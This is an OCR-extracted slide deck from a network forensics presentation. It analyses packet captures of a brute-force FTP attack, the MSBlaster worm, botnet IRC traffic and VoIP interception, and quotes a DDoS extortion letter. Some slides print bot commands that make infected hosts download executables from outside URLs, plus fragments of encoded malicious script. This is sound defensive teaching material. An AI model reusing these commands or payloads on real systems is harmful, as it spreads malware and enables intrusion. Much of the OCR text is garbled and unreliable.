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Thank You for Joining Today

«  Fole hijecker - 15218511230 - MIGHTYMOUSE

AT ‘=l 3
4 \lf“
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Phillip “Sherlock” Shade (Phill)
phill.shade@gmail.com

- Certified instructor and internationally recognized
network security and forensics expert with more than
30 years of experience

- US Navy Retired and the founder of Merlion’s Keep
Consulting, a professional services company
specializing in network and forensics analysis

- Member of the Global Cyber Response Team
(GCRT), FBI InfraGard, Computer Security Institute,
and the IEEE and volunteer at Cyber Warfare Forum
Initiative

- Numerous certifications, including Certified Network
Expert (CNX)-Ethernet, CCNA, Certified Wireless
Network Administrator (CWNA), and WildPackets
Certified Network Forensics Analysis Expert (WNAX)
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You Are Not Alone. From the Headlines...

Hackers compromise Sony Online
Entertainment, Sony shuts it down
LT My by James Mo e

@ O(oxncwapfﬂitles

BREAKING NEWS: President

o BarackObama assassinated, 2 gunshot
wounds have proved too much. It's a sad
4th for samerica. »obamadead RIP

Frmioio 1= Piatven * Miagey

Inquiries begin into nude celebrity photo leaks

+ HealthCare.gov hacked | By Associated Press
Updated: 16:39 EST, 1 September 2014

r‘.‘:‘/l“" O'Donnell, USA TODAY

.mx_nmﬁ “) E"u;"!:enrate Spying: The Next Growth Industry and

Tiews and comiment on the death of & 168 vear-ukd pape

In This Issue...

= Conporabe Sgying: The Nest Growth Indusbny
= [t's Orne Thimg IF You Lose Your Wallet..,
+ Two Cyberwar Haddng Stories. Just Coinodance? You decda

The scandal that closed

the News of the World

8 Apeil 2014 Last updated at 07:05 ET | FRE]

Scramble to fix huge 'heartbleed’ security
bug
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Today’s Agenda

- Who was the tntruder and how did they penetrate the
existing security precautions?

. What damage has been done?

. Bid the tntruoer leave anything such as a new user account,
 Trojan Horse or perhaps some new type of Worm or Bot
software behind?

4. Did You capture suffictent data to analyze and reproduce
he attack and verify the fix will work?

Copyright2Q:
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Some Sobering Statistics

1aQ0

Attacks
nmasa'ééE

Attack Distrihutiun

Cyber Warfare
m Cyber Espionage
B Hackthvizm
u Cyber Crime

.

/ After several years of a \\
decreasing number of
incidents, note the
increase in the number
of threats facing mobile
devices and cloud-based
architectures and the
increasing number of

\financial fraud reports. /

=

January Ft-btul"'r March August
11-158)
Month s
y 4
AVG ORGANIZATIONAL a HEALTHCARE ROOT CAUSES OF
COST PER DATA 9 I S 359 A DATA BREACH //
BREAGCH IN THE US &/ 2=
o '<_ EDUCATION 29%
& %%
OVER 2 S I S 294 — 42"
o
$ W & PHARMACEUTICAL GLITCH MALKCIOUS
fov] ClunMN AL
52 I 227 \ o
Bl
MILLION S8 FiNaNCiAaL 30*
g E I <206 RUINAS
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And the News Gets Even Better

AN AVERAGE DAY
IN AN ENTERPRISE
ORGANIZATION

Every 1 min anost

Every 3“‘““8 abotis
communicating with s
command and control center

Every gmlns a High Risk
application is being used

Every 10 mins

a known malsare is
being downlocaded

Every 27mlns

an unknown malware |s
being downloaded

bmy‘as}ﬂhns

sensitive data ls sent
outaide the organization

Every a host in
Infectad with a bot

Copyright 2015 Merlion’s Keep Consulting
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NEWS

WASHINGTON
POST HACKED

o INCIDENT:
g 1.27
MILLION

USER D=

Hackers broke Into The
Washington Post's website in
2011 staalking user IDs and
emall addrasseas, In a matter of
days, simiiar ncidents occurred
to the Wall Street Journal and
The Neiw York Times.

-

TARGET
TARGETED

o INCIDENT:
70

MILLION
CUSTOMERS
Largest commercial braach
o-date, axposing milllons of
consumers' personal records
and credt/debit card data
in late 2013,

merlions.keep @gmail.com



Black, White, or Grey Hat

So What'ls a Hacker”? There are Cbmpeting Definitions:*

Computer Programming: A software designer and programmer who builds
elegant, beautiful programs and systems. A hacker can also be a programmer who
hacks or reaches a goal by employing a series of modifications to exploit or extend
existing code or resources.

Computer Securlty A person who spemahzes in work with the security

*Wikipedia: http://en.wikipedia.org/wiki/Hacker
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Then We Have the “Classic” Public Profile

>80%: Former Employee or Student

18-35 years old / Intelligent / Creative / Loner
Highly Motivated

Economic gain / Bragging rights / Revenge / Curiosity / Pride
>60% from 5 Major Regions:

China / North Korea / Russia / Eastern Europe: RU, CZ, HU, RO,
TR / South America: BR

100“(%) h Elite 1% < Personal Ideology |

Professionals __ :
9% Financially Motivated |

Script-Kiddies
a.k.a. Amateurs Experimentation &

90% Bragging Rights

v
o
0% L
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Meet the Opposition

ANONYMOUS

We are Legion. We do not Forgive. We do not Forget.

Copyright 2015 Merlion’s Keep Consulting ) )
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Snapshots From The Real World...

Lets take a look at one of the most common threats a user faces on the
Internet...

WATAORY T
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Case Study ‘

lication Based Att
Exploits...



A Interesting Statistic...

Weh Site Incidents

Figure 15. Percentage Experiencing

Mare than 10

G0

105

Unable to specify nuember 368

' |
D 10% 20% Kl A%

1-Stargated gRecks B-10

B Did Any of These Security Incidents Involve Targeted Attacks?

| 11]

HE% 1 "'1-_--1:-“-\.
Yes I 21 6%
I | |
ha 54 5%,
i
s Eming
1} s} 20 3 a0 =
010 C51 Computer Crime mnd Security Sumey 2010 187 Respondents

[Web—based attacks and incidents continue to rise as more application become web-based. }

Copyright 2015 Merlion’s Keep Consulting
All Rights Reserved

merlions.keep @ gmail.com



Web-Based Hijack Exploit (1)

Three: Unes

One:Our league 33 an ot

=tation unfair. The purpose of our lsagus
Two:The leasgue 12
OTLABITHGNT OF
want to

probabitted in ot

iz 2
Google

| http://www.google.a=.cn

/L

garazatian whach agsanst www, google. com treatr large—zcals nat fraiends and the hesds of

s ta colilect the unfair proof and supervise google conpany go to fazrc,

srgssize by net fridnds spontanédovs, our lesgue ian' t cosmtroellsed and assizted by

companies at home and in abroad.

jain in ocur leagus puzt obey cur country law,z2llegal, stotacisa, virus and 20 on ase

eagus,

o, AF1IIE E T "“ NO GOOGLE

JOINS US

>>2
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[ http://www.websense.com/securitylabs/charts/threatmap.php

)
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Web-Based Hijack Exploit (2)

[ Malicious Code Encoded:

S WAl

retoflle ] g.201;as. T8 ell=adao
aonghua , """, “"open" ,.0); jcatech({a)] geript>

15 M n’s Keep,Consulti
A"FI)M% {AaU «Keep onsufting 2015 - merlions.keep @ gmail.com



Vulnerability - Clear-Text Protocols

The following common protocols send passwords in clear-text:
Internet - HTTP / NNTP

File transfer - FTP / TFTP (has no passwords users only have to guess the

filenames)

Email - POP3 / IMAP / SMTP
Network Monitoring - SNMP / RMON / Telnet
VolIP — In-Band Signaling (SIP, Megaco, SCCP, H.323, and Others?

Copyright 2015 Merlion’s Keep Consulting
All Rights Reserved
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2014 Most Common Passwords Are...

# | Password | Change # Password Change # Password Change
1 123456 0 11 1234567 -4 21 superman new
2 password 0 12 monkey +5 22 696969 new
3 12345 + 17 13 letmein +1 23 123123 -12
4 12345678 -1 14 abc123 -9 24 batman new
5 gwerty -1 15 11111 -8 25 trustnol -1
6 | 123456789 0 16 mustang new 26 iloveyou -17
7 1234 +9 17 access new 27 adobe123 0
8 baseball new 18 shadow 0 28 dvork -10
9 dragon new 19 master new 29 admin 0
10 football new 20 michael new 30 administrator 0

[Is yours here?

Copyright 2015 Merlion’s Keep Consulting
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Forensic Filtering for Clear-Text Passwords

FM:H fip.request. commend = =USER || fip.request command ==PASS \ = | |Expression. Chear

M. | Source | Destmation |.')@= | DeltaTime | Protooml [iengsh |srcPort |pestPort  findo
f NetworkG_10:22:1b Runtop_el:5a:80 L 1089000 0. UDE)D'CI'D FTP 69 1025 21 Request: USER fred

10 NetworkG_10:22:1b Runtop_el:5a:80 3. 861000 » ré D25 2 Request: PASS krueger

A simple filter for the words USER or PASS at the beginning (bytes 54-59) of a packet will often
find other protocols using clear-text passwords

Slmple Truth: Hackers use protocol analyzers just like we do...

Hackers observe users of these protocols and rapidly gain users’ passwords — Which makes
Impersonating servers using these protocols much easier
(i.e. Man-in-the-Middle)

Copyright 2015 Merlion’s Keep Consulting
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Password Attacks

An attacker has found a machine and now is trying to break in
An automated script is run that tries username/password combinations

When the list of passwords comes from a list it is called a dictionary
attack

Example - Password, pa$$word, passwOrd, Spring2004, corvette, Elizabeth, etc.

When the list of passwords is generated by a program it is called a
brute force attack

It usually follows a pattern: “aaaa”, “aaab”, “aaac”

Brute force attacks across a WAN will take considerable time, the number of
combinations for even a small (5 character) password are considerable

Just lowercase 26"5= 11,881,376

Upper and lowercase 5275 = 380,204,032

Upper, lower and standard symbols 70*5 = 1,680,700,000

Copyright 2015 Merlion’s Keep Consulting
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Packet Capture File

No. | [1P - Dest [ Time |protocal  [Length [info
46 69_181_135_56 67.161.39.46 0.201589 FTP 65 Request: USER Fred
48 ©9.181.135.56 67.161.39.46 0.216040 FTP 65 Request: USER Fred
50 69.181.135.56 67.161.39.46 0.239993 FTP 65 Request: USER Fred
52 69.181.135.56 67.161.39.46 0.249970 FTP 65 Request: USER Fred
53 69.181.135.56 67.161.39.46 0.254401 FTP 65 Request: USER Fred
54 69.181.135.56 67.161.39.46 0.259174 FTP 65 Request: USER Fred
58 69.181.135.56 67.161.39.46 0.268796 FT1P 65 Request: USER Fred
60 69.181.135.56 67.161.39.46 0.273688 FTP 65 Request: USER Fred
62 69.181.135.56 ©6/7.161.39.46 0.278746 FTP 65 Request: USER Fred
64 69.181.135.56 67.161.39.46 0.283768 FTP 65 Request: USER Fred
66 69.181.135.56 67.161.39.46 0.293212 FTP 64 Request: PASS eee
68 69.181.135.56 67.161.39.46 0.312458 FTP 64 Request: PASS eeE
70 ©69.181.135.56 ©67.161.39.46 0.3359/75 FTP 64 Request: PASS eet
72 ©9.181.135.50 ©67.161.39.46 0.340829 F7TP 64 Request: PASS eeT
74 ©9.181.135.56 H7.161.39.46 0.351823 FTP 64 Request: PASS eea
76 69.181.135.56 67.161.39.46 0.357611 FTP 64 Request: PASS eeA
78 69.181.135.56 67.161.39.46 0.362407 FTP 64 Request: PASS eeo
B0 69.181.135.56 67.161.39.46 0.372286 FTP 64 Request: PASS eeld
82 ©69.181.135.56 ©67.161.39.46 0.376789 FTP 64 Request: PASS eei
84 ©9.181.135.56 67.161.39.46 0.386942 F7TP 64 Request: PASS eel
136 69.18B1_.135.56 67.161.39.46 0.674431 FTP 65 Request: USER Fred
138 B69_.181_135_56 67.161.39_46 0.679598 FTP 65 Request: USER Fred
140 69.181.135.56 67.161.39.46 0.683971 FTP 65 Request: USER Fred
142 69.181.135.56 67.161.39.46 0.690789 FTP 65 Request: USER Fred

This example shows a brut-force password attack against a FTP Server

Copyright 2015 Merlion’s Keep Consulting

All Rights Reserved

merlions.keep @ gmail.com




Just How Difficult is it to Start?

. B |

T ELUITEE M BE s I E

-.
L

Getting Started

frook VWelcome to my “getting starfed™

IntmalDigelal e adged hacker This sectior

Hacking Neaws
Gatting Startad
Hacking Tools
Contents

MuSpace Hacking

Hacking Taxkt Fileas X
Leaming to be mature

Choosing the right Handle/Alias
Choose the OS (Operating System) that works for you.

Creating a hacker deskiop
Conclusion

Elite Wallpapers

code2 G600

Urruses
Hacking Links
Limk This Site
FRa

Conkact

Next: Part 1
Learning to be Mature

Uokal [
Rdminisbration
Stats

Syskem Info

You: S0.126.186.223
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Good Morning...

G = s rddir s w
Uolume in drive C has no label.
Uolume Serdial Humber iz 343E-2558

Directory of Cow

UTOEXEC.BAT COMFIG.SY¥5 [DELL1

[Documents and Settings]l [Games ] [My Shared Foldexr]
[Phill Stuff] [Phill Trace Filesl [Phill Tune=z]
[Phill Work Stuff]

[Program Files] [Student Downloads ]
[Temp] [WIMNDOWS 1 ¥YServer.txt

2 File<sD 17.871 bytes
12 Diwrdsd 5,121 .583.232 hytesz free

‘ ‘I just wanted to say LOUE ¥0U SAM?? billy gates why do yvou make this possibl
E? Stop making money and fix your softwaret?

Copyright 2015 Merlion’s Keep Consulting
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The Original — The MS Blaster Worm...

Exploits Microsoft Windows RPC Vulnerability
Microsoft RPC vulnerability using TCP Port 135

Infected machines will attempt to propagate the worm to additional
machines

Infected machines will also attempt to launch a Distributed Denial of Service
(DDoS) attack against Microsoft on the following schedule:

Any day in the months

September - December

16th to the 31st day of the following months:
January - August

Copyright 2015 Merlion’s Keep Consulting
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Packet Capture File

|1P - sec |1 - Dest |protocol  Jiengih  |info

1141 157 _228_12 101 =130 Q. 000000 TCP 62 1857 = 4444 [sS5v¥N] Seq=1521629589
2A10.1.31._.31 141 _ 157 _228_12 0.000269 TCP 62 4444 = 1857 [S¥N, ACK] Seq=22059]
3 141 157 .228.12 G 082813

5 10 T 31
7 141:15?l225-1z

9141 _157.228.12
10:10.F.1.31

11 141.157.228.12
12 12.243.154.137
I3 100 131

14 12.243.154.137

Ly Ag. X131
16 141 _.157.228.12
= =0 P oRa e 5 6
18 12.243.154.137
1910

oS30
20141 _157.228.12
21 10.%.1.3%1
22 141.157.228.12

lﬂ.1.1.31

141 15? 228. 12

1n'1'1 31

10-1-1-31
141.157.228.12
10:°1.1.37
B K0 S e
12.243.154_.137
10.1:.1:31
12.243.154.137
1. 131
141.157.228.12
10.31.1.31
12.243.154.137
0 iy = U = A
141.157.228.12
10.1.1.31

0. 349041
0'534942

0-515459
0.617895
0.752105
0.848049
0.848224
1.380230
1.380397
1.519664

1.523540

1.822370
1.822542
2.425865
2.430854
3.332098

TCP

FEEP

TFTP

TCP
TCP
TCP
JCP
TCP

TEEP
TCP

TFETP
TETP

60

558
60
60
62
60
62
60

Seg=1521629590

Data Packet, B1d£k: i

Acknowledgement,

Block: 1

1857 > 4444 [ACK] Seq=1521629629
1818 = 135 [5¥YN] Seq=2903204790

135

1818 = 135 [5¥YN] Seq=2903204790

35 > 1818

Acknowledgement,

[RST,
Data Packet, Block: 2

ACK] seg=0 Ack=

Block: 2

>~ 1818 [RST, ACK] Seq=0 Ack-.

1818 > 135 [SYN] Seq=2903204790 V

135 > 1818 [RST,
Data Packet,

Ackn0w1edgemEﬁt,
Block: 4

Data Packet,

ACK] Seqg=0 Ack=:

Block: 3

Block: 3

What's hiding inside these seemingly harmless packets?

Copyright 2015 Merlion’s Keep Consulting
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Forensic Diagraming

3-Way Connection

X 22 Routers 4
TFTP Worm Download 10.1.1.31

141.157.228.214

Email Server (77) Client

Copyright 2015 Merlion’s Keep Consulting
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MSBIlaster Worm Download

|® -sre |1P -Dest | Teme Protocal  JLength  |info

610.1.1._31 1431 _157.228_.12 0.502697 TFTP 62 Read Request, File: msblast. e
9141 _15/7_.228_17° 10.1.3:.31 0.61b6459 TFETP 558 Data Packet, Block: 1
1010:1:-1.31 141 .157.228.12 0.617895 TFETP 60 Acknowledgement, Block: 1
16 141.157.228.12 10.1.1.31 1.519664 TFTP 558 Data Packet, Block: 2
17 10.1.1.31 141 .157.228.12 1.5232540 TFTP 60 Acknowledgement, Block: 2
20141157 .228_12 10.1.31._31 2.425865 TFTP 558 Data Packet, Block: 3
21 10.31.1_31 141 157 .228_.12 2.430854 TFTP 60 Acknowledgement, Block: 3
22 141 .157.228.12 10.1.1.31 3.3320908 TETP 558 Data Packet, Block: 4
2310.1.1.31 141.157.228.12 3.332752 TFTP 60 aAcknowledgement, Block: 4
24 141 .157.228.12 10.1.1.321 4.238330 TFTP 558 Data Packet, Block: 5
. 0o N E ¢ U [ S o 141 .157.228.12 4.244026 TFTP 60 Acknowledgement, Block: 5
26 141 .157.228_.12 10.31:32.3% 5.145458 TFTP 558 Data Packet, Block: 6
2710.1.1.31 141.157.228.12 5.152692 TFTP 60 Acknowledgement, Block: 6
28 141 .157 .228.12 10.1.1.31 6.050621 TFTP 558 Data Packet, Block: 7
2910.1.1.31 141.157.228.12 6.053781 TETP 60 Acknowledgement, Block: 7
30 141..157.228.12 10.1.1.3% 0.956802 TFTP 558 Data Packet, Block: 8
31 10.1.1.31 141 .157.228.12 0.961467 TFTP G0 Acknowledgement, Block: 8
32 141 .157 .228_12 10.1.1.3%3 7.864008 TETP 558 Data Packet, Block: 9
3310.1.1.31 141.157.228.12 7. 866905 TFTP 60 Acknowledgement, Block: 9
34 141.157.228.12 10.1.1.321 8.770122 TFTP 558 Data Packet, Block: 10
35 10.1.1.31 1471 .157.228_.12 &.773080 TFTP (514] Aacknowledgement, Bleck: 10
26 141 157 228 12 10 3 1 21 O _R7INT TETE 55
35 141 Server infects the workstation with MSBlaster-Worm via TFTP Download | ™
39 10-1.1.31 B T % P A et AR B s £+ T2 o I TETE T ; 12
40 141.157.228.12 10.1.1.31 11.459194 TFTP 78 Data Packet, Block: 13 (last)

Copyright 2015 Merlion’s Keep Consulting
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MSBlaster Worm — Visual Reconstruction
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Infected Workstation Now Attacks Others

|1P -src I - Dest Time |protocol [Length |Info
44 10.1.1.31 180.191._253.1 15.182403 TCP 62 1029 = 135|[5vN]|S5eq=2209767891
4510.1.1._31 180.191.253.2 15.182544 TCP 62 1030 = 135|[5¥N]|Seq=2209826792
46 10.1.1.31 180.191 .253.3 15.182664 TCP 62 1031 > 135|[5¥YN]|Seq=2209875599
47 10.1.1.31 180.191.253.4 15.182779 TCP 62 1032 = 135|[5YN]|Seq=2209914664
48 10.1.1.31 180.191.253.5 15.182899 TCP 62 1033 = 135| [S¥YN]|Seq=2209955055
4910.1.1._31 180.191.253.6 15.183015 TCP 62 1034 > 135| [5¥YN]|S5eq=2210006969
5010.1.1.31 180.191.253.7 15.183136 TCP 62 1035 = 135| [5¥YN]|Seq=2210066265
31 10.1.1..31 180.191.253.8 15.183258 TCP 62 1036 = 135|[5¥YN]|S5Seq=2210127960
32 10.1.1.31 180.191.253.9 15.183382 TCP 62 1037 = 135][5S¥YN]]|S5eq=2210167019
2310-1.31.31 180.191.253.10 15.183490 TCP 62 1038 = 135]|[5¥N]|5eq=2210207993
54 10.1.1.31 180.191.253.11 15.183609 TCP 62 1039 = 135][S¥N]|5eq=2210265390
55 10.1.1.31 180.191.253.12 15.183723 TCP 62 1040 = 135| [5¥YN]|Seq=2210311217
56 10.1.1.31 180.191.253.13 15.183841 TCP 62 1041 = 135|[s¥YN]|Seq=2210376132
57 10.1.1.31 180.191.253.14 15.183960 TCP 62 1042 = 135|[5¥YN]]S5Seq=2210410320
38 10.1.1.31 130.191.253.15 15.184080 TCP 62 1043 = 135][5¥N]|S5eq=2210468332
3910.1.1.31 1680.191.253.16 15.184196 TCP 62 1044 = 135]|[5vN]|S5eq=2210526690
60 10.1.1.31 180.191.253.17 15.184311 TCP 62 1045 = 135| [S¥N]|Seq=2210538478
61 10.1.1.31 180.191.253.18 15.184427 TCP 62 1046 = 135| [5YN]|S5eq=2210623641
62 10.1.1.31 180.191.253.19 15.184564 TCP 62 1047 = 135|[S¥YN]|Seq=2210673362
63 10.1.1.31 180191 253 20 15.184682 TCP 62 1048 = 135|[SvN]]Seq=2210716189

[ 10.1.1.31 Now scans for other nodes beginning in the 180.191.253.XXX range ]
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MSBlaster Worms - A Postscript...

SEATTLE, Washington (AP) -- A teenager was sentenced Friday to 1 1/2 years in prison for
unleashing a variant of the "Blaster" Internet worm that crippled 48,000 computers.

Jeffrey Lee Parson, 19, of Hopkins, Minnesota, will serve his time at a low-security prison
and must perform 10 months of community service.

Parson created a Blaster version that launched a distributed denial-of-service attack against a

Microsoft Windows update Web site as well as personal computers. Blaster and its variants,
also known as the LovSan virus, crippled networks worldwide.

*CNN News 28Jan05
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Insider Threat — Bots...

@8 Sats botnet

& Refresh  Cleor stats 5 Clea Search bot {mask: i, , courtry); &

D . Ver Courtry 13 Fir=t tanes

SNetus

Stats Bots
5 Al bots: [ 1 ¢ Eeran Free 2009.01.06 0022 % 20050108 08:37.20
ONLINE: & 2 ¢ I=lcacace Froes 2008.00.08 004110 0108 08 3720
7 OFFLINE: o 3 4 == Thedana Fioe 2000.01-08 04:3C 2003-01-08 08.37:20
8y Frees © . 4 Elcprgyzatan Fras 2000.07.08060339 2003-01.0808.37.20
& Work: ° 5 4 W Russion Fodoration Froo 2009-01-08 0610046 20089-01-08 08 37.20
. Country: 1 = 3 oS o
a 4 = Goorga Froe 2000-01-08080213 2008-01-08 08:37:20
Bl Creaste new task
2 A ree tagk o Dedste task  Sasch host: -
~ - Hostlport]: Bots
Z - HOSY Boes Typo
e 0r3gs GET
1 varu /398 & Path Type:
2 google ru Qnss GEY "
B Add Task Loads = Referer Status
a V =
Name! POST Start
Rubss: .
te ¥ 1'a I F.':
Add Task .U )
- i i, | Acd l I & Sance
Mo [soct s (2
Lirnit mad on one bot Pags 1 of 1 < Wiewr tasks Dupiyrg 1 - Gof 6
Keys for sbiect (spht |—. add | - =
spaca): — B Add Templote for SPAM 1a . - ==
Sendess List: shact Sances t & |
Servers List: t t (] Vergior: ' 4
Temglate: gwel > . Fea: g
Status: Active » e L
- —_ -— - - " L - t » t ' L = - uodde
l o Add Il,_(;'eneto‘.emmts;lu Cancel | v

[ R
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Bot Infested Capture File

172.16.1.10

68.164

172.16
74 ©B8.1H64
fa 172 16
a6 172.16
77 B&.1b4
8 172.16
81 172.16
82 172.16
83 68.164
84 172.16
85 68.164
86 172.16
87 68.164 Company :
58 68.164
Ba 172.16 Threat Level :
90 ©BE.164 Culapury ;

68.

Summary : Worm . Analiz. PFrocsss

164.173.62

73.023928

Description : Identified by Sophos as the Rbot-RP worm, the aAnaliz threat
exploits backdoor functionality and can spread through
unprotected or unauthorized remote penetration. This threat

may alsa be identfied as W32/H1-6963.

Worm.Analiz should not be confused with Dialer.Anal-Liz, which
15 an unrelated premium rate dialer application.

Worms are programs that propagate by spreading over a
network. & wonm i= 8 specal type of computer wirus,

This applicatton is most likely downloaded and installed through
vulnerabilities in system security or by another application that

s considered to be adware or spyware,

Uinknown

[
WORM

Me. | -5 | - Dest | Time |Protocst Length ;e
bl bE.I6d.1/735_ b/ I72 1. 110 by FOsg99y7 TC 6l 4/31 > 135 [ACK] Seq=>3713960U7
62 685.164.173.62 1i72.16.1.10 70_ 476275 TCP 60 1216 > 135 [Ack] Seq=55B8177394 ;
63 ©08.164.173.62 I72.16:-1.10 70.496296 DCERPC 126 Bind: call_id: 127 Fragment: Sij
B4 172.16.1.10 68.164.173.62 70.496445 DCERPC 114 pBind_ack: call_id: 127 Fragment
65 172.16.1.10 68.164.173.62 72.870008 TCP 54 135 = 4800 [FIN, ACK] Seqg=345644}
66 68.164.173.62 172_-16.1.10 72974040 TCP 1486 [TCcP segment of a reassembled P
67 68.164.173.62 EF2_16.1.10 F2.975773 ;emActi* 86 RemoteCreateInstance request[Lo
ba 172.16.1.10 6a8.164.173.62 F2.975807 TCP 54 135 = 1216 [ACK] Seq=3486354250

TCP

8 "batd Packef, BlGck:T1— — — & 7

135 >

1216 [FIN, ACK] 5g-=345635

Acknowledgement, Block: 1
Data Packet, Block: 1
Acknowledgement, Block: 1
Acknowledgement, Block: 1
Data Packet, Block: 2

2

Acknowledgement, Block:

135 = 1216 [FIN, ACK] Seq=34863]
Acknowledgement, Block: 2
Data Packet, Block: 2
Acknowledgement, Block: 2
Data Packet, Block: 3
Acknowledgement, Block: 3
1216 > 135 [ACK] Seq=558178930
1216 > 135 [FIN, ACK] Seq=553817]
135 = 1216 [Aack] Seq=3480354287
Data Packet, Block: 3
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Download Reconstruction

Folow TCF Skream

Fass 10m3iza
ITCK dammn- 02{12‘33?&41
hmfe

Backdoor Chent (Bot) IRC Login to Bot-Server

H (]
.hunt d.devilz. n&t HDTIEE AUTH :*** | asoking oy
thunt3id.devilz.nat NOTICE AUTH (**" Found wour hustname
thuntid.devilz.net 001 damn-0262937047 :wWelcome to the devilz IRC Network damn-02629370471
Ehmfeir;fnﬁh-EBulEd-QI-ldB_snvacaid_d namic. covad. net

:hunt?g,geviTz,net 002 damn-0262937047 :Your host is huntid.devilz.net, runming version

nreald.

shunt3d.devilz.net 003 damn-0262937047 :This server was created Thu Sep 9 2004 at

14:58:49 CDT

shunt3d.devilz.net 004 damn-0262937047 hu wilr net lUnreald 2

1owgh53A50RT¥51NCWHEEEd§tGp é;gg EQSE;kch

shunt3d. devilz.net aAmin - 7 MAP 1 :

e e e e e e 0 S aanl Bot-Server downloading updates to infected Bot

S EerVer

- hunt3d.devilz.net 005 damn-0262937047 WALLCHOPS WATCH=128 SILENCE=19% MODES—=12

CHANTYPES=# PREFIX={ohv)@%+ CHANMODES=beqga,kfL, 1 ,psontirRc0AQKVGCUzNSMT NETWORK=devi Tz

CASEMAPPING=ascii EXTBAN=—,Ccqr :are suppart&d hy this server

shunt3d. devilz.net 251 damn-0262937047 :There are 1 users and 5122 invisible on 1 servers

thunt3d.devilz.net 252 damn-0262937047 2 :operator(s) online

shuntid.devilz.net 253 damn-0262937047 14 :unknown connection(s)

thunt3d.devilz.net 254 damn-0262937047 19 :channels formed

rhuntid.devilz.net 255 damn-0262937047 :I have 5123 clients and 0 servers

chunt3d. devilz_ net 265 damn-0262937047 :Current Local Users: 5123 Max: 9508

thunt3d.devilz.net 266 damn-0262937047 :Current Global uUsers: 5123 Max: 5123

thunt3d.devilz.net 422 damn-0262937047 MOTD File is missing

damn-0262937047 MODE damn-0262937047 43

:damn-0262937 047 | ghmTel rsTnllh-68-164-92-148 . snvacaid. dvnamic. covad.net JOIN :#s01

.;Euntsd,devﬂz,ne: 332 damn-0262937047 #=01 :.download http:// www.wanees. net/bbnz.exe
nz.exe

thuntid.devilz.net 333 damn-0262937047 #s01 AL7uB 1103771901

shunt3d.devilz.net 353 damn-0262937047 & #s01 :damn-0262937047

thunt3d.devilz.net 366 damn-0262937047 #s01 :End of /NAMES T1ist.

:damn-0262937047 | ghmTeirs F@h-68-164 -92-148_ snvacaid. dynamic. covad.net JOIN :#s02

thuntid.devilz.net 332 damn—0262937047 #s02 :.download http: ./ /

webacceptor. findwhatevernow. com: 8091 /get. file?

Ectiuﬂ=fi1e&afp=13001&:1a55=632&affi11ate=£ncker jocker.exe 1

shunt3id. devilz.net 333 damn-0262937047 #=02 AL7uBs 1103771882

:hunt3d. devilz.net 353 damn-0262937047 @ #s02 :damn-0262937047

thunt3d.devilz.net 366 damn-0262937047 #s02 End of /NAMES Tist.

s damn-0262937047 lghmfeirsfni@h-68-164-92-148_ shvacaid. dynamic.covad.net J0IN :#s03

thuntid.devilz.net 332 damn-0262937047 #s03 :.downlioad httg ffyshweh cnmf15t#5:r1prsj

wsh_exe. phpPaccount_id=100048%8user_level=3 wysbinstal1_100048 exe 1

huntid.devilz.net 333 damn-0262937047 #s03 AL7uB 1103771894

shunt3d.devilz.net 353 damn-0262937047 @ #s03 :damn-0262937047

CopyﬁghtZOﬂSMeﬂbr:h“"tad‘dEVi}Z'"Et 366 damn-0262937047 #s03 :end of /NAMES Tist.
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Sample DDoS Extortion Letter

"Hello. If you want to continue having your site operational, you must pay us 10 000 rubles monthly. Attention! 1

I Starting as of DATE your site will be a subject to a DDoS attack. Your site will remain unavailable until you pay us.

1 The first attack will involve 2,000 bots. If you contact the companies involved
in the protection of DDoS-attacks and they begin to block our bots, we will increase the number of bots to 50 000,
and the protection of 50 000 bots is very, very expensive. |

1 1-st payment (10 000 rubles) Must be made no later than DATE. All subsequent payments (10 000 rubles) Must be
| committed no later than 31 (30) day of each month starting from August 31. Late payment penalties will be charged

100% for each day of delay.

I For example, if you do not have time to make payment on the last day of the month, then 1 day of you will have to 1

1 pay a fine 100%, for instance 20 000 rubles. If you pay only the 2nd date of the month, it will be for 30 000 rubles
| etc. Please pay on time, and then the initial 10 000 rubles offer will not change. Penalty fees apply to your first

payment - no later than DATE"

I You will also receive several bonuses...

1 1. 30% discount if you request DDoS attack on your competitors/enemies. Fair market value DDoS attacks a simple
| Site is about $ 100 per night, for you it will cost only 70 $ per day.
2. If we turn to your competitors / enemies, to make an attack on your site, then we deny them.

U Payment must be done on our purse Yandex-money number 41001474323733. Every month the number will be a |
| new purse, be careful. About how to use Yandex-money read on www.money.yandex.ru. If you want to apply to law

| enforcement agencies, we will not discourage you. We even give you their contacts: www.fsb.ru, www.mvd.ru"
......................................... |
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Extortion Attack — What it Looks Like...

T ] : =
ﬁh. _
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Case Study

VolIP Call Interception and Playb



Packet Capture File

No. |1p - src [P -Dest | tirme |Protocol  [Length  |1nfo

4 45.210.3.90 45.210.3.36 4_.774198532 SIiP/SDP 824 Request: INVITE sip:4697@d
5 45.210.3.36 45.210.3.90 4 774234772 SI1P 390 status: 100 Trying

6 45.210.3.36 45.210.3.90 4 _B855833054 SIp 556 sStatus: 180 Ringing

10 45.210.3.36 45.210.3.90 6.430492401 sIP/SDP 1078 Status: 200 OK , with ses
11 45.210.3.90 45.210.3.36 6.583414078 SIP 603 Reguest: ACK sip:3290.a75f
12 45.210.9.97 45.210.3.90 6.616043091 RTP 214 PT=ITU-T G.711 PCMU, SSRCH
13 45.210.9.97 45%.210.3.90 6.0634405136 RTP 214 PT=ITU-T G.71l1l PCMU, SSRCH
14 45,210.3.90 45.210.9.97 6.648046493 RTP 214 PT=ITU-T G.71l1l PCMU, SSRCS
15 45.210.9.97 45.210.32.90 6.655860801 RTP 214 PT=ITU-T G.711l PCMU, SS5SRCs
16 45.210.2.90 45.210.9.97 6.675859451 RTP 214 PT=ITU-T G.711l PCMU, SSRC=
17 45.210.9.97 45_.210.3.90 6.675891876 RTP 214 PT=ITU-T G.711l PCMU, SS5RC=
18 45.210.2.90 45.210.9_97 6.687984466 RTP 214 PT=ITU-T G.711 PCMU, SSRCH
19 45.210.9.97 A45.210.3.90 6.695211410 RTP 214 PT=ITU-T G.711 PCMU, SSRC-
20 45.210.3.90 45.210.9_97 6.7079696065 RTP 214 PT=ITU-T G.711 PCMU, SSRCS
21 45.210.9. 97 45.210.32_90 B.7149480654 RTP 214 PT=ITU-T G.711 PCMU, SSRCS
22 45.210.3.90 45.210.9_97 0.728021622 RTP 214 PT=ITU-T G.711 PCMLU, SSRCS
23 45.210.9.97 45.210.3.90 0.734687805 RTP 214 PT=ITU-T G.711 PCMU, SSRCH
24 45.210.3.90 45.210.9.97 6.748052597 RTP 214 PT=ITU-T G.71ll PCMU, SSRC=S
